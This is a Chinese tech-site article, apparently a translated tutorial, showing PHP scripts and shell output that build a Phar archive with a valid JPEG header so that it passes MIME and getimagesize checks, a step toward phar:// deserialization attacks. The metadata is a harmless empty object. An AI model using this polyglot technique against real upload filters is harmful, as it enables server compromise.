溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

將PHP Phar包偽裝成圖像以繞過(guò)文件類型檢測(cè)的示例

發(fā)布時(shí)間:2021-02-07 14:01:01 來(lái)源:億速云 閱讀:404 作者:小新 欄目:開發(fā)技術(shù)

小編給大家分享一下將PHP Phar包偽裝成圖像以繞過(guò)文件類型檢測(cè)的示例,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!

在US BlackHat 2018大會(huì)上,安全人員證明,攻擊者不僅可以利用PHAR包發(fā)動(dòng)RCE攻擊,而且,通過(guò)調(diào)整其二進(jìn)制內(nèi)容,他們還可以將其偽裝成一幅圖像,從而繞過(guò)安全檢查。

在本文中,我們來(lái)看看第二點(diǎn)是如何做到的。

背景知識(shí)

在US BlackHat 2018大會(huì)期間,Sam Thomas召開了一個(gè)關(guān)于在PHP中利用 phar:// 流包裝器來(lái)實(shí)現(xiàn)針對(duì)服務(wù)器的代碼執(zhí)行攻擊的研討會(huì)( 幻燈片 )。

在運(yùn)行PHAR包時(shí),由于PHP會(huì)對(duì)其內(nèi)容進(jìn)行反序列化,從而允許攻擊者啟動(dòng)一個(gè)PHP對(duì)象包含鏈。其中,最有趣的部分在于如何觸發(fā)有效載荷:歸檔上的任何文件操作都將執(zhí)行它。最后,攻擊者根本無(wú)需關(guān)心文件名是否正確,因?yàn)榧词故鞘〉奈募{(diào)用,PHP也會(huì)對(duì)其內(nèi)容進(jìn)行反序列化處理。

此外,攻擊者完全可以將PHAR包偽裝成一幅圖像:在這篇文章中,我們將為讀者解釋他們是如何做到這一點(diǎn)的。

降至字節(jié)碼級(jí)別

有時(shí)我們會(huì)忘記這一點(diǎn),那就是在機(jī)器眼里,文件只不過(guò)是一堆遵循預(yù)定義結(jié)構(gòu)的字節(jié)而已。對(duì)于應(yīng)用程序而言,將檢查自己是否可以管理這樣的數(shù)據(jù)流,如果可以的話,就會(huì)生成相應(yīng)的輸出。

在Thomas的演講中,曾提示如何創(chuàng)建具有有效JPEG頭部的PHAR包。

將PHP Phar包偽裝成圖像以繞過(guò)文件類型檢測(cè)的示例

圖片引自Sam Thomas的幻燈片

不過(guò),這里我們要做的是創(chuàng)建一個(gè)具有JPEG頭部的文件,并更新PHAR的校驗(yàn)和。這樣一來(lái),PHAR包一方面會(huì)被視為一個(gè)圖像,同時(shí),PHP還可以繼續(xù)執(zhí)行它。

開始下手

聽起來(lái),這里只需修改幾個(gè)字節(jié)并更新校驗(yàn),按說(shuō)應(yīng)該非常輕松,對(duì)吧?

然而,事實(shí)并非如此。

計(jì)算校驗(yàn)和(至少對(duì)我來(lái)說(shuō))是一件讓人頭痛的事情。所以,我想:如果讓PHP來(lái)代勞的話,會(huì)怎樣呢?

所以,我對(duì)Thomas的原始劇本進(jìn)行了一番改造,具體如下所示:

<?php
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

如您所見,這里將原始HEX字節(jié)添加到了PHAR存檔的存根部分。下面是原始HEX得到的結(jié)果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg 
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB

這同時(shí)是一個(gè)合法的PHAR包,以及一幅合法的JPEG圖像嗎?

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)

看到了吧,PHP將其視為一幅圖像,我們?nèi)匀豢梢蕴剿鞔鏅n的內(nèi)容。哈哈,好玩吧!

注意:請(qǐng)仔細(xì)查看存根部分,看看它是如何“跳過(guò)”開頭部分的PHP標(biāo)記的。因?yàn)檫@里是繞過(guò)大多數(shù)內(nèi)容掃描程序的關(guān)鍵所在。對(duì)于存檔來(lái)說(shuō),是否有效的關(guān)鍵在于函數(shù) __HALT_COMPILER() ; 我認(rèn)為,PHP會(huì)通過(guò)它來(lái)確定出應(yīng)該“跳過(guò)”多少數(shù)據(jù)。

更進(jìn)一步

到目前為止,我們制作的文件已經(jīng)可以通過(guò)任何基于文件頭的類型檢測(cè)了,但是,對(duì)于更高級(jí)的檢測(cè)方法來(lái)說(shuō),它就無(wú)能為力了。例如,使用 getimagesize 來(lái)檢查文件內(nèi)容是否為圖像的話,將返回false,因?yàn)樗⒉皇且环罢嬲钡膱D像:

tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

看到了吧。

但是,別忘了,我們可以在 __HALT_COMPILER() 標(biāo)記之前填充任意的數(shù)據(jù)的,所以,如果我們?cè)诖颂钊胍环暾膱D像的話,會(huì)怎樣呢?于是,我花了大量的時(shí)間去研讀 JPEG規(guī)范 和 PHP源代碼 ,不過(guò)最后仍然沒有理出頭緒,所以,我果斷決定放棄——太復(fù)雜了。

那么,能否直接使用GIMP創(chuàng)建10x10黑色圖像并嵌入其中呢?

<?php
class TestObject {}
$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

好了,看看效果如何:

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
 [0] =>
 int(10)
 [1] =>
 int(10)
 [2] =>
 int(2)
 [3] =>
 string(22) "width="10" height="10""
 'bits' =>
 int(8)
 'channels' =>
 int(3)
 'mime' =>
 string(10) "image/jpeg"
}

這次,我們?nèi)缭敢詢斄?。這個(gè)文件不僅是一個(gè)包含我們想要利用的類的PHAR包,同時(shí),它還是一幅合法的圖像(我們甚至可以用系統(tǒng)圖像查看器打開它):

將PHP Phar包偽裝成圖像以繞過(guò)文件類型檢測(cè)的示例

看完了這篇文章,相信你對(duì)“將PHP Phar包偽裝成圖像以繞過(guò)文件類型檢測(cè)的示例”有了一定的了解,如果想了解更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI